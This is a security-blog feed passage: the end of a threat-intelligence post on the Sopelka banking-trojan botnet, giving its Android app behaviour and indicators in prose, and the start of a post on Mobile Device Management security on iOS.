&lt;a href="http://2.bp.blogspot.com/-CqgIBF7SLPk/UH7TfEVCx3I/AAAAAAAABZo/3lqWL7kr2LU/s1600/apk_commands.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="282" src="http://2.bp.blogspot.com/-CqgIBF7SLPk/UH7TfEVCx3I/AAAAAAAABZo/3lqWL7kr2LU/s400/apk_commands.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Also, just after starting up, the malicious application was sending the word &lt;i&gt;“INOK”&lt;/i&gt; to the number specified as administrator, while in earlier versions the phrase “App installed ok” was sent.&amp;nbsp;After this,&amp;nbsp;it showed the code &lt;i&gt;"7725486193"&lt;/i&gt; to the user, which should be entered in the field created by the HTML inject, and this served to indicate that the application had been installed correctly. In all the applications, the number to which the messages were sent was the same; it was +46769436094, a Swedish virtual number.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;
As a curiosity, in some of the Citadel binaries a message could be read related to &lt;a href="http://krebsonsecurity.com/"&gt;Brian Krebs&lt;/a&gt; (well-known technical journalist in the world of cyber-crime) &lt;a href="http://www.zdnet.com/blog/security/q-and-ampa-of-the-week-tales-from-the-underground-featuring-brian-krebs/12414"&gt;which has already been discussed a few months ago&lt;/a&gt;:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-3Y2_r3Fm0Ts/UH7kcfA7-BI/AAAAAAAABcw/GufN5SYhQkY/s1600/brian_.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="286" src="http://2.bp.blogspot.com/-3Y2_r3Fm0Ts/UH7kcfA7-BI/AAAAAAAABcw/GufN5SYhQkY/s400/brian_.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
As mentioned before, some of the facts provided are the result of information sharing amongst the security community, for which we express our gratitude. A special mention goes to the researchers at &lt;i&gt;&lt;a href="http://www.fox-it.com/"&gt;Fox-IT&lt;/a&gt;&lt;/i&gt;, &lt;i&gt;&lt;a href="http://www.shadowserver.org/"&gt;Shadowserver&lt;/a&gt;&lt;/i&gt; and &lt;i&gt;&lt;a href="http://www.abuse.ch/"&gt;Abuse.ch&lt;/a&gt;&lt;/i&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;Jose Miguel Esparza&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;S21sec ACSS&lt;/i&gt;&lt;br /&gt;
&lt;span style="font-style: italic; text-align: justify;"&gt;(&lt;/span&gt;&lt;a href="http://eternal-todo.com/" style="font-style: italic; text-align: justify;"&gt;Blog&lt;/a&gt;&lt;span style="font-style: italic; text-align: justify;"&gt;&amp;nbsp;/&amp;nbsp;&lt;/span&gt;&lt;a href="http://twitter.com/eternaltodo" style="font-style: italic; text-align: justify;"&gt;Twitter&lt;/a&gt;&lt;span style="font-style: italic; text-align: justify;"&gt;)&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/4ryOIPkq4no" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/3312464883651255683/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=3312464883651255683" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/3312464883651255683?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/3312464883651255683?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/4ryOIPkq4no/sopelka-botnet-three-banking-trojans.html" title="Sopelka Botnet: three banking trojans and one banking panel" /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-2IlDSpMorvQ/UH7ZcuqPj2I/AAAAAAAABbA/2K02dieAeSE/s72-c/inyeccion_movil.png" height="72" width="72" /><thr:total>2</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2012/10/sopelka-botnet-three-banking-trojans.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0MBQXo4fip7ImA9WhJUGEo.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-6411167162715903098</id><published>2012-09-17T01:43:00.000-07:00</published><updated>2012-09-17T02:50:50.436-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-09-17T02:50:50.436-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="mobile" /><category scheme="http://www.blogger.com/atom/ns#" term="ios" /><title>Mobile Device Management Security</title><content type="html">From some years ago, almost everybody use mobile devices and mobile Internet access in a daily basis. Nowadays, most corporates allow using smartphones or tablets in order to access to corporate resources such as email or even corporate critical information. Definitely, mobility is in fashion.&lt;br /&gt;
&lt;br /&gt;
Since now mobile devices handle highly critical information, they’re not just phones anymore. Now lots of well-known threats affect these devices and even some new ones.&lt;br /&gt;
&lt;br /&gt;
As a response, some software firms have developed a kind of security software called Mobile Device Management (MDM). This software controls and protects the device by applying security policies on it. For instance, a MDM could block software installation, in order to avoid the device being infected by a user’s misuse.&lt;br /&gt;
&lt;br /&gt;
However, this kind of software rarely can install new features in the mobile operating system, so they often use security features that they already have, but they make easier setup and deployment. For instance, MDMs on iOS usually relies on the Apple Configuration Profiles feature. In addition, these profiles are configured in order to block uninstalls.&lt;br /&gt;
&lt;br /&gt;
&lt;a href="data:image/png;base64,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